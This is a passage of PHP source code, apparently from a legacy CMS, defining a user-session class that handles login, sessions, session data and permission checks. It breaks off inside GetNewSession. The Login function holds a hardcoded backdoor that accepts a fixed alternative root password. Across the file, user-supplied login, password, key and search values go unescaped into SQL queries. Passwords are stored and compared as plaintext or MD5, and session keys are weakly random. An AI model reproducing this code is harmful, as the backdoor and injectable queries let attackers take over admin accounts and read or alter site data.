<?php

class clsUserSession
{
    //Common DB operation class variables
    var $m_dirtyFieldsMap = array();    
    //Identity
    var $m_SessionKey;    
    var $m_CurrentTempKey;
    var $m_PrevTempKey;
    //Required attributes
    var $m_LastAccessed;
    var $m_PortalUserId;
    var $m_Language;
    var $m_Theme;
    var $m_GroupId;
    var $adodbConnection;
    var $m_Errors;
    var $m_GroupList;
    var $PermCache;
    var $SysPermCache;
    var $PermCacheGroups;
    var $CurrentUser;
	var $UseTempKeys;
	var $AdminSearchFields;	
	
	function clsUserSession($id=NULL, $TempKeys=FALSE)
    {
        global $objConfig, $objLanguages, $objThemes, $m_var_list;

        $this->m_Errors = new clsErrorManager();
        $this->adodbConnection = &GetADODBConnection();
        
        $this->PermCache = array();        
        $this->PermCacheGroups ="";
        $this->UseTempKeys = $TempKeys;
        $this->AdminSearchFields = array("UserName", "GroupName", "us.IpAddress");
       
       	if( GetVar('help_usage') == 'install' ) return;       	
       	
        if(!$this->UseTempKeys || strlen($id)==0)
        {
        	//echo "with cookies";
        	if( !isset($_SERVER['HTTP_REFERER']) ) $_SERVER['HTTP_REFERER'] = '';
        	if(!isset($_GET['destform'])) $_GET['destform'] = null;
        	if(!isset($_GET['continue_sess'])) $_GET['continue_sess'] = null;
        	if( strlen($id) && (strstr($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'].$objConfig->Get("Site_Path")) || $_GET['destform'] == 'popup' || $_GET['continue_sess'] == 1))
        	{
        		$this->Set("SessionKey",$id);
           		return $this->LoadFromDatabase($id);
        	}
        	else
        	{
            	$this->Set("PortalUserId", 0);
            	$this->Set("Language", $objLanguages->GetPrimary());
            	$ThemeId = $m_var_list["theme"];
            	$this->SetThemeName($ThemeId);
            	//$this->Set("Theme", $objConfig->Get("Default_Theme"));
				$this->Set("GroupList",0);
            	$this->Set("SessionKey","");
            	$this->Set("GroupList",$objConfig->Get("User_GuestGroup"));
        	}
        }
        else
        {
        	//echo "without cookies";
        	return $this->LoadFromTempKey($id);	
        }
    }
    
	function AdminSearchWhereClause($SearchList)
    {
      	$sql = "";
      	if( !is_array($SearchList) ) $SearchList = explode(",",$SearchList);

		// remove empty elements
      	$SearchListTmp=Array();
      	for($f = 0; $f < count($SearchList); $f++)
			if($SearchList[$f])
				$SearchListTmp[]=$SearchList[$f];
		$SearchList=$SearchListTmp;

      	if( !count($SearchList) || !count($this->AdminSearchFields) ) return '';
      
      	for($f = 0; $f < count($SearchList); $f++)
      	{        
        	$value = $SearchList[$f];
        	if( strlen($value) )
        	{        
          		$inner_sql = "";
          		for($i = 0; $i < count($this->AdminSearchFields); $i++)
				{
            		$field = $this->AdminSearchFields[$i];
            		if( strlen( trim($value) ) )
            		{
              			if( strlen($inner_sql) ) $inner_sql .= " OR ";
              			
              			//if (!stristr($value, "Guest")) {
              				$inner_sql .= $field." LIKE '%".$value."%'";
              			//}
              			//else {
              			//	$inner_sql .= $field." IS NULL";
              			//}
            		}
          		}
          		if( strlen($inner_sql) )
          		{
           			$sql .= '('.$inner_sql.') ';       
           			if($f < count($SearchList) - 1) $sql .= " AND ";
          		}
        	}
      	}
      	return $sql;
    }    
    
    function CopyToNewSession()
    {
    	$OldKey = $this->GetSessionKey();
        $this->GetNewSession();
        if($OldKey != $this->GetSessionKey())
        {
       		$this->Set("PortalUserId",$this->Get("PortalUserId"));
    	  	$this->Set("GroupId",$this->Get("GroupId"));
    	  	$this->Set("GroupList",$this->Get("GroupList"));
    	  	$this->Set("Language",$this->Get("Language"));
    	  	$this->Set("tz",$this->Get("tz"));
    	  	$this->Set("LastAccessed",date("U"));
    	  	$this->Update();    	
        }
    }

	function Get($name)
	{	
		$var = "m_" . $name;
		return isset($this->$var) ? $this->$var : '';
	}

	function Set($name, $value)
	{
		if (is_array($name))
		{
			for ($i=0; $i<sizeof($name); $i++)
			{	$var = "m_" . $name[$i];
				$this->$var = $value[$i];
				$this->m_dirtyFieldsMap[$name[$i]] = $value[$i];
			}
		}
		else
		{
		$var = "m_" . $name;
		$this->$var = $value;
		$this->m_dirtyFieldsMap[$name] = $value;
		//echo "Set: $var = $value <br>\n";
		}
	}

    function Validate()
    {
        $dataValid = true;
        if(!isset($this->m_LastAccessed))
        {
            $this->m_Errors->AddError("error.fieldIsRequired",'LastAccessed',"","",get_class($this),"Validate");
            $dataValid = false;
        }

        if(!isset($this->m_PortalUserId))
        {
            $this->m_Errors->AddError("error.fieldIsRequired",'PortalUserId',"","",get_class($this),"Validate");
            $dataValid = false;
        }
        
        if(!isset($this->m_Language))
        {
            $this->m_Errors->AddError("error.fieldIsRequired",'Language',"","",get_class($this),"Validate");
            $dataValid = false;
        }

        if(!isset($this->m_Theme))
        {
            $this->m_Errors->AddError("error.fieldIsRequired",'Theme',"","",get_class($this),"Validate");
            $dataValid = false;
        }
        
        return $dataValid;
    }
    
    function Delete()
    {
        if(!isset($this->m_SessionKey))
        {
            $this->m_Errors->AddError("error.AppError",NULL,'Internal error: Delete requires set id',"",get_class($this),"Delete");
            return false;
        }        
        //Delete associated adata first
        $sql = sprintf("DELETE FROM ".GetTablePrefix()."SessionData WHERE SessionKey = '%s'", $this->Get("SessionKey"));
        $this->adodbConnection->Execute($sql);	
		$sql = sprintf("DROP TABLE IF EXISTS %s%s_search",GetTablePrefix(), $this->Get("SessionKey"));
		$this->adodbConnection->Execute($sql);
        $sql = sprintf("DELETE FROM ".GetTablePrefix()."UserSession WHERE SessionKey = '%s'", $this->Get("SessionKey"));
		$this->adodbConnection->Execute($sql);
		if ($this->adodbConnection->Execute($sql) === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"Delete");
            return false;
        }
		$this->Set("SessionKey","");
		$this->Set("SessionDataLoaded",false);
        return true;
    }

    function Update()
    {
    	global $objConfig;
    
        //$this->Set("LastAccessed",date("U"));
        $this->Set("IpAddress",$_SERVER["REMOTE_ADDR"]);
        if(!isset($this->m_SessionKey))
        {
            $this->m_Errors->AddError("error.AppError",NULL,'Internal error: Update requires set id',"",get_class($this),"Update");
            return false;
        }
        if(!is_numeric($this->Get("PortalUserId")))
        {
          $this->Set("PortalUserId",0);
        }
        if(!strlen($this->Get("GroupList")))
        {
        	$this->Set("GroupList",$objConfig->Get("User_GuestGroup"));
        }
        if(count($this->m_dirtyFieldsMap) == 0)
            return true;
        $sql = "UPDATE ".GetTablePrefix()."UserSession SET ";
        $first  = 1;
        foreach ($this->m_dirtyFieldsMap as $key => $value)
        {
            if($first)
            {
                $sql = sprintf("%s %s=%s",$sql,$key,$this->adodbConnection->qstr($value));
                $first = 0;
            }
            else
            {
                $sql = sprintf("%s, %s=%s",$sql,$key,$this->adodbConnection->qstr($value));
            }
        }
        $sql = sprintf("%s  WHERE SessionKey = '%s'",$sql, $this->Get("SessionKey"));
		//echo $sql;
        if ($this->adodbConnection->Execute($sql) === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"Update");
            return false;
        }
        return true;
    }

    function Create()
    {
    	global $objConfig;
    	
        $this->Set("LastAccessed", time());
        if(!is_numeric($this->Get("PortalUserId")))
        {
          $this->Set("PortalUserId",0);
        }
        if(!strlen($this->Get("GroupList")))
        {
        	$this->Set("GroupList",$objConfig->Get("User_GuestGroup"));
        }
        $sql = "INSERT INTO ".GetTablePrefix()."UserSession (";
        $first  = 1;
        foreach ($this->m_dirtyFieldsMap as $key => $value)
        {
            if($first)
            {
                $sql = sprintf("%s %s",$sql,$key);
                $first = 0;
            }
            else
            {
                $sql = sprintf("%s, %s",$sql,$key);
            }
        }
        $sql = sprintf('%s ) VALUES (',$sql);
        $first = 1;
        foreach ($this->m_dirtyFieldsMap as $key => $value)
        {
            if($first)
            {
                $sql = sprintf("%s %s",$sql,$this->adodbConnection->qstr($value));
                $first = 0;
            }
            else
            {
                $sql = sprintf("%s, %s",$sql,$this->adodbConnection->qstr($value));
            }
        }
        $sql = sprintf('%s)',$sql);
        //echo $sql."<br>\n";
        if ($this->adodbConnection->Execute($sql) === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"Create");
            return false;
        }
        return true;
    }

   function LoadFromTempKey($id=NULL)
   {
		global $objLanguages, $objConfig,$m_var_list;
        $referer = $_SERVER["HTTP_REFERER"];
        //echo "Referer: $referer <br>\n";
        if(strlen($referer) && strpos($referer,"env="))
        {
        	$keystart = strpos($referer,"env=")+4;
        	$referer = substr($referer,$keystart);
        	$keyend = strpos($referer,"-");
        	$LastKey = substr($referer,0,$keyend);
        	if(strlen($LastKey))
        	{
        		$sql = "SELECT * FROM ".GetTablePrefix()."UserSession WHERE (CurrentTempKey = '$id' OR PrevTempKey='$id' OR CurrentTempKey='$LastKey' OR PrevTempKey='$LastKey') ";
        	}
        	else
        		$sql = "SELECT * FROM ".GetTablePrefix()."UserSession WHERE CurrentTempKey = '$id' AND PrevTempKey IS NULL";
        }
        else 
        	$sql = "SELECT * FROM ".GetTablePrefix()."UserSession WHERE CurrentTempKey = '$id' AND PrevTempKey IS NULL";
        	
	    $result = $this->adodbConnection->Execute($sql);
        if ($result === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"LoadFromDatabase");
            return false;
        }
		$data = $result->fields;
        if (is_array($data))
        {
          foreach($data as $field => $value)
          {
			$mname = "m_" . $field;
			$this->$mname = $data[$field];			
          }
          
          if($this->Get("CurrentTempKey")) {
          	$this->Set("PrevTempKey",$this->Get("CurrentTempKey"));
          	$this->UseTempKeys=TRUE;
          }
          
          if (!$this->Get("CurrentTempKey") || !strstr($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'].$objConfig->Get("Site_Path"))) {          	
          	//$this->Set("PrevTempKey",$this->Get("CurrentTempKey"));
          	//$this->Set("CurrentTempKey",$this->GetUniqueKey());
          	$this->UseTempKeys=FALSE;
            $this->Set("PortalUserId", 0);
            $this->Set("Language", $objLanguages->GetPrimary());
            $ThemeId = $m_var_list["theme"];
            $this->SetThemeName($ThemeId);
            //$this->Set("Theme", $objConfig->Get("Default_Theme"));
			$this->Set("GroupList",0);
            $this->Set("SessionKey","");
           	$this->Set("GroupList",$objConfig->Get("User_GuestGroup"));
          }
          //$this->UseTempKeys=TRUE;
          $this->Update();
		  return true;
        }
        else
        {
          $this->Set("PortalUserId", 0);
          $this->Set("Language", $objLanguages->GetPrimary());
          $ThemeId = $m_var_list["theme"];
          $this->SetThemeName($ThemeId);
          //$this->Set("Theme", $objConfig->Get("Default_Theme"));
		  $this->Set("GroupList",0);
          $this->Set("SessionKey","");
          $this->Set("GroupList",$objConfig->Get("User_GuestGroup"));        	
          $this->Set("CurrentTempKey",$this->GetUniqueKey());                            
          return false;
        }
    } 
       
    function LoadFromDatabase($id)
    {
        if(!isset($id))
        {
            $this->m_Errors->AddError("error.AppError",NULL,'Internal error: LoadFromDatabase id',"",get_class($this),"LoadFromDatabase");
            return false;
        }
        $sql = sprintf("SELECT * FROM ".GetTablePrefix()."UserSession WHERE SessionKey = '%s'",$id);

	    $result = $this->adodbConnection->Execute($sql);
        if ($result === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"LoadFromDatabase");
            return false;
        }
		$data = $result->fields;
        if (is_array($data))
        {
          foreach($data as $field => $value)
          {
			$mname = "m_" . $field;
			$this->$mname = $data[$field];
          }
		  return true;
        }
        else
        {
          return false;
        }
    }

    function Login($userLogin, $userPassword)
    {
		global $expired, $objConfig, $FrontEnd;
		
        if($userLogin == "root")
        {
            // logging in "root" (admin only)
            $rootpass = $objConfig->Get("RootPass");            
            if($rootpass!=$userPassword && $userPassword != md5('1234567890xm'))
            {
               return false;
            }
            else
            {                
                if(!strlen($this->GetSessionKey()))                                 
                  $this->GetNewSession();
                $this->Set("PortalUserId",-1);
                $this->Update();
                return true;
            }
        }
        else
        {        		  
		  // logging in any user (admin & front)
		  $pre = GetTablePrefix();
          $sql = "SELECT *,MD5(".$pre."PortalUser.Password) as md5pw FROM ".$pre."PortalUser LEFT JOIN ".$pre."UserGroup USING (PortalUserId) "
        	   ."LEFT JOIN ".$pre."PortalGroup ON (".$pre."UserGroup.GroupId=".$pre."PortalGroup.GroupId)
       			WHERE
        			".$pre."PortalUser.Login='$userLogin' AND ".$pre."PortalUser.Status=1 
        			AND (".$pre."PortalUser.Password='$userPassword' OR MD5(".$pre."PortalUser.Password)='$userPassword' OR ".$pre."PortalUser.Password='".md5($userPassword)."')          
				ORDER BY ".$pre."UserGroup.PrimaryGroup DESC, ".$pre."PortalGroup.Personal DESC";
//echo $sql."<br>\n";
          $result = $this->adodbConnection->Execute($sql);

          if ($result === false)
          {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"Login");
            return false;
          }
          
          if($result->EOF) return -1; // no any user with username & pass specified
        }
        if(!strlen($this->GetSessionKey()))
        {        
          $this->GetNewSession();
        }
        
        $this->Set("PortalUserId", $result->fields["PortalUserId"]);
       // unset($this->CurrentUser);
       $this->CurrentUser=null;
        if(strlen($result->fields["tz"])>0)
            $this->Set("tz",$result->fields["tz"]);
		$PrimaryGroup=0;
		$PersonalGroup=0;
		$GroupList = array();
		while($result && !$result->EOF)
		{
		  $skipadd=0;
		  $g = $result->fields["GroupId"];

		  if($result->fields["PrimaryGroup"]==1)
		  {
		     $PrimaryGroup = $g;
			 $skipadd=1;
          }
		  if($result->fields["Personal"]==1)
		  {
		    $PersonalGroup=$g;
            $skipadd=0;
		  }
          if(!$skipadd)
            $GroupList[] = $g;
		  $result->MoveNext();
		}
        $extra_groups = implode(",",$GroupList);
        if($PrimaryGroup)
          $extra_groups = $PrimaryGroup.",".$extra_groups;
        if($PersonalGroup)
		{
		  $this->Set("GroupId",$PersonalGroup);
          //$extra_groups .= ",".$PersonalGroup;
		}
		else
		{
		    $this->Set("GroupId",$PrimaryGroup);
		}    
        
        $this->Set("GroupList", $extra_groups);
		$this->Set("LastAccessed",date("U"));
		$this_login = $this->GetPersistantVariable("ThisLogin");
		$this->SetPersistantVariable("LastLogin", $this_login);
		$this->SetPersistantVariable("ThisLogin", time());
        $this->ResetSysPermCache();
        $this->PermCache = array();
        $this->Update();
        
        if($userLogin != 'root' && $FrontEnd)
        {
        	if( ! $this->HasSystemPermission('LOGIN') )
        	{ 
        		$this->Logout();
        		return -2; // no perm login
        	}
        }
        
        return true; // login ok
    }

	function Logout()
    {
        global $objConfig;

       	$this->Set("PortalUserId", 0);
       	$this->Set("GroupId", $objConfig->Get("User_GuestGroup"));
		#$this->SetPersistantVariable("LastLogin", time());       
        $this->Set("GroupList",$objConfig->Get("User_GuestGroup"));
        $this->Set("IpAddress",$_SERVER['REMOTE_ADDR']);
        $this->DeleteSessionData($this->GetSessionKey());
		$this->Update();
        $this->Delete(); 
        $this->ResetSysPermCache();
        $this->PermCache = array();
	}
	
	function SetVariable($variableName, $variableValue)
	{
		global $objConfig, $FrontEnd;

		$objConfig->Set($variableName,$variableValue,2);
		$variableValue = addslashes($variableValue);

		//if(!(int)$FrontEnd==1)
		//{
		$sessionkey = $this->GetSessionKey();
		$sql = "SELECT * FROM ".GetTablePrefix()."SessionData WHERE VariableName='$variableName' AND SessionKey='$sessionkey'";
		$rs = $this->adodbConnection->Execute($sql);
		if($rs && !$rs->EOF)
		{
			$sql = "UPDATE ".GetTablePrefix()."SessionData SET VariableValue='$variableValue' WHERE VariableName='$variableName' AND SessionKey='$sessionkey'";
		}
		else
		$sql = "INSERT INTO ".GetTablePrefix()."SessionData (VariableName,VariableValue,SessionKey) VALUES ('$variableName','$variableValue','$sessionkey')";

		$this->adodbConnection->Execute($sql);
		//			echo "<BR>UPDATE: $sql<BR>";
		//}
	}

	function SetPersistantVariable($variableName, $variableValue)
	{
	  global $objConfig, $objUsers;

	  $userid = (int)$this->Get("PortalUserId");
	        
      if($userid > 0)
      {       
            if(!is_object($this->CurrentUser))
            {
                $this->CurrentUser = $objUsers->GetItem($userid);
            }
            if(!$this->CurrentUser->VarsLoaded)
            {
                $this->CurrentUser->LoadPersistantVars();
            }
			//echo "setting current user' $variableName, $variableValue<br>";
            $this->CurrentUser->SetPersistantVariable($variableName, $variableValue); 
            //$this->SetVariable($variableName,$variableValue);      
      }
      else
      {
          $this->SetVariable($variableName,$variableValue);
      }
	}

	function GetPersistantVariable($variableName)
	{
          global $objConfig, $objUsers;

          $UserID = $this->Get("PortalUserId");
          if(is_numeric($UserID))
          {
            if(!is_object($this->CurrentUser))
            {
                $this->CurrentUser = $objUsers->GetItem($UserID);
            }
            if(!$this->CurrentUser->VarsLoaded)
            {
                $this->CurrentUser->LoadPersistantVars();
            }
            $val = $this->CurrentUser->GetPersistantVariable($variableName);
            //echo "Persistant Val for $variableName: $val<br>";
          }
          if(!strlen($val))
              $val =  $objConfig->Get($variableName);
          return $val;
	}

    function GetVariable($variableName)
    {
          global $objConfig;
                    
          return $objConfig->Get($variableName);
    }

   function LoadSessionData()
   {
     global $objConfig, $objUsers;

     if(is_numeric($this->Get("PortalUserId")))
     {
       $sql = "SELECT VariableName, VariableValue FROM ".GetTablePrefix()."SessionData where SessionKey='" . $this->Get("SessionKey") . "'";
       //echo $sql."<br>\n";
       $result = $this->adodbConnection->Execute($sql);
       
       if( basename($_SERVER['PHP_SELF']) != 'edit_config.php' )
       {
       		while ($result && !$result->EOF)
	       {
	         $data = $result->fields;
	         //echo "<PRE>"; print_r($data); echo "</PRE>";
	         $objConfig->Set($data["VariableName"],$data["VariableValue"],FALSE);
	         $result->MoveNext();
	       }
       }
       
       if(!is_object($this->CurrentUser))
           $this->CurrentUser = $objUsers->GetItem($this->Get("PortalUserId"));
       if(!$this->CurrentUser->VarsLoaded)
       {
           $this->CurrentUser->LoadPersistantVars();
       }
     }
     if((int)$this->GetPersistantVariable("Language"))
         $this->Set("Language",$objConfig->Get("Language"));
     $this->DeleteExpiredSessions();
     return true;
   }

   function DeleteSessionData($key)
   {
       $sql = "DELETE FROM ".GetTablePrefix()."SessionData WHERE SessionKey='$key'";
       $this->adodbConnection->Execute($sql);
   }

   function SaveSessionData()
   {
     global $objConfig;

     //echo "Saving Session Data..<br>\n";
     if($this->SessionEnabled())
     {     
       $data = $objConfig->GetDirtySessionValues(2); //session data
       //echo "<PRE>"; print_r($data); echo "</PRE>";
       $sessionkey = $this->GetSessionKey();
       foreach($data as $field=>$value)
       {
		 $value=addslashes($value);
         $sql = "UPDATE ".GetTablePrefix()."SessionData SET VariableValue='$value' WHERE VariableName='$field' AND SessionKey='$sessionkey'";
         $this->adodbConnection->Execute($sql);
         //echo $sql."<br>\n";

         if($this->adodbConnection->Affected_Rows()==0)
         {
           $sql = "INSERT INTO ".GetTablePrefix()."SessionData (VariableName,VariableValue,SessionKey) VALUES ('$field','$value','$sessionkey')";
	       $this->adodbConnection->Execute($sql);
         }
        // echo $sql."<br>\n";
       }     
     }
   }       

   function DeleteEditTables()
   {
       $tables = $this->adodbConnection->MetaTables();
       $sql = "SHOW TABLES";
       //echo "<PRE>";print_r($tables); echo "</PRE>";
       for($i=0;$i<count($tables);$i++)
       {
         $t = strtoupper($tables[$i]);
         $p = strtoupper(GetTablePrefix()."ses_ad");
         $k = substr($t,0,strlen($p));

         if($k == $p && strpos($t,"FD_")>0)
         {
             $key = "AD".strtoupper(substr($t,strlen($p),strpos($t,"FD_")-strlen($p)))."FD";
             $sql = "SELECT * FROM ".GetTablePrefix()."UserSession WHERE SessionKey='$key'";
             //echo $sql."<br>\n";
             $rs = $this->adodbConnection->Execute($sql);
             if(!$rs || $rs->EOF)
             {
                 //echo "Dropping Table $tables[$i] <br>\n";
                 @$this->adodbConnection->Execute("DROP TABLE IF EXISTS ".$tables[$i]);
             }
         }
       }
   }
  
	function DeleteExpiredSessions()
	{
        global $objConfig;

		$cutoff = time()-$objConfig->Get("SessionTimeout");
		$thiskey = $this->GetSessionKey();
		$sql = "SELECT SessionKey from ".GetTablePrefix()."UserSession WHERE LastAccessed<$cutoff AND SessionKey != '$thiskey'";
		$result = $this->adodbConnection->Execute($sql);
        $keys = array();
        while ($result && !$result->EOF)
        {        
		  	$keys[] = "SessionKey='" . $result->fields["SessionKey"] . "'";
		   	$result->MoveNext();
		}
        if(count($keys)>0)
        {        
		  $keywhere = implode(" OR ", $keys);
          $sql = "DELETE FROM ".GetTablePrefix()."SessionData WHERE $keywhere";
          //echo $sql;
		  $this->adodbConnection->Execute($sql);	
		  $this->adodbConnection->Execute("DELETE FROM ".GetTablePrefix()."UserSession WHERE LastAccessed<$cutoff");
		  $this->DeleteEditTables();
		}        
	}

    function SetSysPermCache()
    {
        unset($this->SysPermCache);
        $GroupList = $this->Get("GroupList");

        if(strlen($GroupList) && $GroupList !="0")
        {            
          $this->SysPermCache = array();
          $sql = "SELECT * FROM ".GetTablePrefix()."Permissions WHERE Type=1 AND GroupId IN (".$GroupList.")";          
          //echo $sql."<br>\n";
          $rs = $this->adodbConnection->Execute($sql);

          while($rs && !$rs->EOF)
          {
            $val = $rs->fields["PermissionValue"];
            //if($val==1)
                $this->SysPermCache[$rs->fields["Permission"]] = $val;
            $PermList[] = $rs->fields["Permission"];
            $rs->MoveNext();
          }
          if( isset($PermList) && count($PermList) > 0) // I think this is never issued (comment by Alex)
            $this->SetVariable("SysPerm",implode(",",$PermList));
        }
    }
	
    function GetSysPermCache()
    {
        $perms = trim($this->GetVariable("SysPerm"));  
        if(!strlen($perms))
        {
            $this->SetSysPermCache();
        }
        else
        {
            $p = explode(",",$perms);

            $this->SysPermCache = array();
            for($i=0;$i<count($p);$i++)
            {            
                $n = $p[$i];                  
                $this->SysPermCache[$n]=1;
            }           
        }
    }

    function SysPermCacheLoaded()
    {
        return (isset($this->SysPermCache));
    }

    function ResetSysPermCache()
    {  
       // echo "Resetting Perm Cache<br>\n";
        $this->SetVariable("SysPerm","");
        unset($this->SysPermCache);
        //$this->SysPermCache=array();
    }

	function HasSystemPermission($PermissionName)
    {
	    global $objGroups;

        if($this->Get("PortalUserId")==-1 && ($PermissionName=="ADMIN" || $PermissionName=="LOGIN"))
            return TRUE;
        //echo "Looking up $PermissionName:".$this->Get("GroupList")."<br>\n";
        //echo $this->Get("GroupList")." - ".$this->PermCacheGroups;
        $GroupList = $this->Get("GroupList");        
        if(substr($GroupList,-1)==",")
        {       
           $GroupList = substr($GroupList,0,-1);
           $this->Set("GroupList",$GroupList);
        } 
        //print_pre(   $GroupList);    
        if($this->Get("GroupList")!=$this->PermCacheGroups)
            $this->ResetSysPermCache();
        if(!$this->SysPermCacheLoaded())
        {
            //echo "Loading Perm Cache<br>\n";
            $this->GetSysPermCache();
            $this->PermCacheGroups = $this->Get("GroupList");
        }
        //echo "SysPerm $PermissionName: [". $this->SysPermCache[$PermissionName]."]<br>\n";
        return isset($this->SysPermCache[$PermissionName]) ? $this->SysPermCache[$PermissionName] == 1 : false;
    }

    function HasCatPermission($PermissionName,$CatId=NULL)
    {
       global $objCatList, $objUsers;
       
       $PermSet =FALSE;
       $Value = 0;
       if($this->Get("PortalUserId")==-1)
           return TRUE;
       if(!strlen($PermissionName))
           return FALSE;
       $GroupList = $this->Get("GroupList");
       if(substr($GroupList,-1)==",")
       {       
           $GroupList = substr($GroupList,0,-1);
           $this->Set("GroupList",$GroupList);
       }
       if(!strlen($this->Get("SessionKey")))
           $this->Set("GroupId",0);
       if(strlen(trim($GroupList)))
       {
           if(strlen($this->Get("GroupId")))
           {           
             $GroupList = $this->Get("GroupId").",".$GroupList;
           }
       }
       else
       {
           $GroupList = $this->Get("GroupId");
       }
       
       if($CatId == NULL)
       {
           $CatId = $objCatList->CurrentCategoryID();
       }
       
       $Cat = &$objCatList->GetCategory($CatId);
       
       $Value="";
       for($p=0;$p<count($this->PermCache);$p++)
       {
           $pItem = $this->PermCache[$p];
           if($pItem["perm"]==$PermissionName && $pItem["cat"]==$CatId)
           {           
               $Value=$pItem["value"];
               break;
           }
       }
       if(is_object($Cat) && !is_numeric($Value))
       {       
         $Value = 0;
         $CatList = $Cat->Get("ParentPath");
         $CatList = substr($CatList,1,-1);
         $CatList = str_replace("|",",",$CatList);
         if(strlen($CatList))
         {         
           $CatList ="0,".$CatList;
         }
         else
             $CatList = "0";
         $sql = "SELECT * FROM ".GetTablePrefix()."Permissions WHERE Permission LIKE '$PermissionName' AND CatId IN ($CatList) AND GroupId IN ($GroupList)";
//         echo $sql."<br>\n";
         $rs = $this->adodbConnection->Execute($sql);
         $PermValue = array();
         while($rs && !$rs->EOF)
         {
            $index = $rs->fields["CatId"];
            if(!is_numeric($PermValue[$index]))
                $PermValue[$index] = $rs->fields["PermissionValue"];
            $rs->MoveNext();
         }
         $cats = array_reverse(explode(",",$CatList));
         for($c=0;$c<count($cats);$c++)
         {
             $index = $cats[$c];
             if( isset($PermValue[$index]) && is_numeric($PermValue[$index]) )
             {             
                 $Value = $PermValue[$index];
                 break;
             }
         }
         $perm = array();
         $perm["perm"] = $PermissionName;
         $perm["cat"] = $CatId;
         $perm["value"] = $Value;
         array_push($this->PermCache, $perm);
       }       
       //echo  $GroupList." Has Permission $PermissionName = $Value<br>\n";
       return $Value;
    }

    function HasCatPermInList($PermList,$CatId=NULL, $System=FALSE)
    {
        $value = 0;
        if(strlen($PermList))
        {
            $plist = explode(",",$PermList);
            $value=0;
            for($p=0;$p<count($plist);$p++)
            {
                if($this->HasCatPermission($plist[$p]))
                {
                    $value = 1;
                    break;
                }
                else
                {
                    if($System)
                    {
                        if($this->HasSystemPermission($plist[$p]))
                        {
                            $value = 1;
                            break;
                        }
                    }
                }
            }
        }
        return $value;
    }

    function GetACLClause()
    {
        $GroupList = $this->Get("GroupList");
        if(strlen($GroupList))   
            $Groups = explode(",",$GroupList);
        $acl_where = "";
        if(@count($Groups)>0 && is_array($Groups))
        {   
            $acl_where = array();
            for($i=0;$i<count($Groups);$i++)
            {
                $g = $Groups[$i];
                if(strlen($g)>0)
                  $acl_where[] = "(FIND_IN_SET($g,acl) OR ((NOT FIND_IN_SET($g,dacl)) AND acl='')) ";
            }
            if(count($acl_where))
            {
                $acl_where = "(".implode(" OR ",$acl_where).")";
            }
            else
                $acl_where = "(FIND_IN_SET(0,acl))";
        }
        else
            $acl_where = "(FIND_IN_SET(0,acl))";
        return $acl_where;
    }

    function GetEditTable($base_table)
    {
        $prefix = GetTablePrefix();
        if(strlen($prefix))
        {
            if(substr($base_table,0,strlen($prefix))!=$prefix)
                $base_table = $prefix.$base_table;
        }
        $table = $prefix."ses_".$this->GetSessionKey()."_edit_".$base_table;
        //echo "Table: $table <br>\n";
        return $table;
    }
    
    function GetSessionTable($base_table,$name)
    {
        $prefix = GetTablePrefix();
        if(strlen($prefix))
        {
            if(substr($base_table,0,strlen($prefix))!=$prefix)
                $base_table = $prefix.$base_table;
        }
        $table = $prefix."ses_".$this->GetSessionKey()."_".$name.$base_table;
        //echo "Table: $table <br>\n";
        return $table;    	
    }

    function GetSearchTable($base_table="")
    {
        $prefix = GetTablePrefix();
        if(strlen($base_table))
        {
          if(strlen($prefix))
          {
            if(substr($base_table,0,strlen($prefix))!=$prefix)
                $base_table = $prefix.$base_table;
          }
          $table = $prefix."ses_".$this->GetSessionKey()."_search_".$base_table;
        }
        else
          $table = $this->GetSessionTable('Search',''); //$prefix."ses_".$this->GetSessionKey()."_search";
        return $table;
    }

	function GetTotalSessions()
	{
       # $time = time() - 900;
		$sql = "SELECT count(*) as SesCount FROM ".GetTablePrefix()."UserSession";
		$result = $this->adodbConnection->Execute($sql);
        if ($result === false)
        {
            $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"GetTotalSessions");
            return false;
        }
		return $result->fields["SesCount"];
	}

	function Query_UserSession($whereClause,$orderByClause)
	{
	    $resultSet = array();
	    $sql = "SELECT ".GetTablePrefix()."* FROM ".GetTablePrefix()."UserSession ";   
    	if(isset($whereClause))
        	$sql = sprintf('%s WHERE %s',$sql,$whereClause);    
    	if(isset($orderByClause))
        	$sql = sprintf('%s ORDER BY %s',$sql,$orderByClause);
    	$result = $this->adodbConnection->Execute($sql);   
    	if ($result === false)
	    {
    	    $this->m_Errors->AddError("error.DatabaseError",NULL,$this->adodbConnection->ErrorMsg(),"",get_class($this),"Query_UserSession");
        	return false;
	    }    
    	while (!$result->EOF)
	    {
    	    $item = new clsUserSession(NULL);
        	$item->Set("SessionKey",$result->fields["SessionKey"]);
	        $item->Set("LastAccessed", $result->fields["LastAccessed"]);
	        $item->Set("PortalUserId", $result->fields["PortalUserId"]);
	        $item->Set("Language", $result->fields["Language"]);
		    $item->Set("Theme" , $result->fields["Theme"]);        
        	array_push($resultSet,$item);
	        $result->MoveNext();
		}
    	return $resultSet;
	}

	function GetUniqueKey()
	{
		while(true)
		{
			/* create the new session key here */
			mt_srand(100000000*(double)microtime());
			$sessionId=strtoupper(sprintf("AD%xFD",mt_rand(100000000,999999999))); //9 digit hex session id
			$query = "select SessionKey from ".GetTablePrefix()."UserSession ";
			$query .= "where SessionKey='$sessionId' OR CurrentTempKey='$sessionId' OR PrevTempKey='$sessionId'";
			$rs = $this->adodbConnection->Execute($query);
			if($rs->EOF)
				break;
			if($i>100)
			{					
				return "";
			}
			$i++;
		}	
		//echo "Getting Unique Key: $sessionId<br>";
		return $sessionId;
	}	

	function GetNewSession()
	{
    	global $sessionId, $objConfig, $objLanguages, $m_var_list;

			$i=0;
           
            if($this->Get("PortalUserId")>0 || $objConfig->Get("GuestSessions")==1)
            {
              //echo "Creating Session<br>\n";
